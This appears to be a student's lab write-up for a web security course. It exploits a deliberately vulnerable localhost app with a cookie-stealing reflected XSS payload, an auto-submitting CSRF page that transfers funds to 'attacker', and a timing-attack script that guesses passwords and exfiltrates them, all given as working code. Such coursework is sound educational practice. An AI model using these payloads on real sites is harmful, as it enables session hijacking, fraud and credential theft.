## Part 1

---

1. `Alpha` Exploit: `Cookie` Theft

Based on the given code, we find out that the vulnerable part of the code is placed in the `/profile` path of the website. The code is located in the `handout/hw2-1/router.js` file. The code is as follows:

```
router.get('/profile', asyncMiddleware(async (req, res, next) => {
  if(req.session.loggedIn == false) {
    render(req, res, next, 'login/form', 'Login',
            'You must be logged in to use this feature!');
    return;
  };

  if(req.query.username != null) { // if visitor makes a search query
    const db = await dbPromise;
    const query = `SELECT * FROM Users WHERE username == "${req.query.username}";`;
    let result;
    try {
      result = await db.get(query);
    } catch(err) {
      result = false;
    }
    if(result) { // if user exists
      render(req, res, next, 'profile/view', 'View Profile', false, result);
    }
    else { // user does not exist
      render(req, res, next, 'profile/view', 'View Profile',
       `${req.query.username} does not exist!`, req.session.account);
    }
  } else { // visitor did not make query, show them their own profile
    render(req, res, next, 'profile/view', 'View Profile', false, req.session.account);
  }
}));
```

As we can see, if **the user does not exist**, the code will render the `profile/view` page with the message `"<username> does not exist!"`. This is the vulnerable part of the code. We can exploit this by sending a request to the `/profile` path with a query parameter `username` that does not exist in the database. We can use this to steal the cookie of the user by sending a malicious request, for example a request with a script that gets the cookie and sends it to our server, placed in the `username` query parameter.

We have to create a `URL` that starts with:

`http://localhost:3000/profile?username=`

The url is followed by the script that gets the cookie and sends it to our server. The script is as follows:

- Before sending the request, we hide the tags with `error` tags to hide the `does not exist` error message. This can be done by adding the first line of the script.

```
<script>
document.getElementsByClassName('error')[0].style.visibility = 'hidden';
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://localhost:3000/steal_cookie?cookie=" +
                document.cookie.split('=')[1], true);
xhr.send();
</script>
```

Then, we encode the script and add it to the `username` query parameter. The final URL is:[1]

```
http://localhost:3000/profile?username=%3Cscript%3E%0
Adocument.getElementsByClassName('error')%5B0%5D.style.
visibility%20%3D%20'hidden'%3B%0Avar%20xhr%20%3D%20new
%20XMLHttpRequest()%3B%0Axhr.open(%22GET%22%2C%20%22
http%3A%2F%2Flocalhost%3A3000%2Fsteal_cookie
%3Fcookie%3D%22%20%2B%20document.cookie.split('%3D')
%5B1%5D%2C%20true)%3B%0Axhr.send()%3B%0A%3C%2Fscript%3E
```

---

2. `Bravo` Exploit: Cross-site request forgery (`CSRF`)

Here is our code for the `CSRF` exploit:

```
<!DOCTYPE html>
<html>
    <head>
        <script>
            const hijack_url = "http://sharif.edu/~kharrazi/courses/40441-011/";
            var submitted = false;
            function transfer_bar() {
                document.transfer_form.submit();
                submitted = true;
            }
            function hijack() {
                if (submitted) {
                    window.location.replace(hijack_url);
                }
            }
```

[1]The script is encoded using the `URL` online encoder tool: lambdatest.com/free-online-tools/url-encode.

```
        </script>
    </head>
    <body onload="transfer_bar()">
        <form target="transformFrame" name="transfer_form" action="http://localhost:3000/pos
            <input hidden="true" type="text" name="destination_username" value="attacker">
            <input hidden="true" type="text" name="quantity" value="10">
            <!-- <input hidden = "true" type="submit" value="Submit request"> -->
        </form>
        <iframe hidden="true" name="transformFrame" id="transformFrame" onload="hijack()"></
    </body>
</html>
```

The code is a simple `HTML` page that contains a form with two hidden inputs. The form is submitted automatically when the page is loaded. Then it sends a `POST` request to the `/post_transfer` path of the website. The form contains two hidden inputs: `destination_username` and `quantity`. The `destination_username` is set to `attacker` and the `quantity` is set to `10`. The form is submitted to the `transformFrame` iframe. The iframe is hidden and has an `onload` event listener that redirects the user to the `hijack_url`. I used a boolean variable `submitted` to check if the form has been submitted. If the form has been submitted, the user is hijacked.

---

3. `Gamma` Exploit: Timing Attack

```
router.get('/get_login', asyncMiddleware(async (req, res, next) => {
  const db = await dbPromise;
  const query = `SELECT * FROM Users WHERE username == "${req.query.username}";`;
  const result = await db.get(query);
  if(result) { // if this username actually exists
    if(checkPassword(req.query.password, result)) { // if password is valid
      await sleep(2000);
      req.session.loggedIn = true;
      req.session.account = result;
      render(req, res, next, 'login/success', 'Bitbar Home');
      return;
    }
  }
  render(req, res, next, 'login/form', 'Login', 'This username and password combination does
}));
```

This part of the code is vulnerable to a timing attack. When the username and password exists in the database, there is a 2000 milliseconds delay before the user is logged in. We can exploit this by sending a request to the `/get_login` path.

```
<span style='display:none'>
  <iMg id='test'/>
  <sCript>
    var dictionary = [`password`, `123456`, `   12345678`, `dragon`, `1234`, `qwerty`, `1234
    var index = 0;
    var longest_time = 0;
    var pass_idx = 0;
    var password = dictionary[index];
    var test = document.getElementById(`test`);
    test.onerror = () => {
      var end = new Date();
      var time_elapsed = end - start;
      if (time_elapsed > longest_time) {
        longest_time = time_elapsed;
        pass_idx = index;
      }
      console.log(`Time elapsed ${end-start}`);
      start = new Date();
      password = dictionary[index];
      if (index < dictionary.length) {
        test.src = `http://localhost:3000/get_login?username=userx&password=${password}`;
      } else {
        theft_url = `http://localhost:3000/steal_password?password=${dictionary[pass_idx]}&t
        const theft = new Image();
        theft.src = theft_url;
      }
      index += 1;
    };
    var start = new Date();
    test.src = `http://localhost:3000/get_login?username=userx&password=${password}`;
    index += 1;
  </sCript>
</span>
```

We iterate on the passwords in the `dictionary` array and send a request to the `/get_login` path with the username `userx` and the password from the `dictionary` array. We measure the time it takes for the server to respond. We keep track of the longest time it takes for the server to respond. After we have iterated over all the passwords in the `dictionary` array, we send a request to the `/steal_password` path with the password that took the longest time to respond and the time it took to respond. We can use this to find the correct password.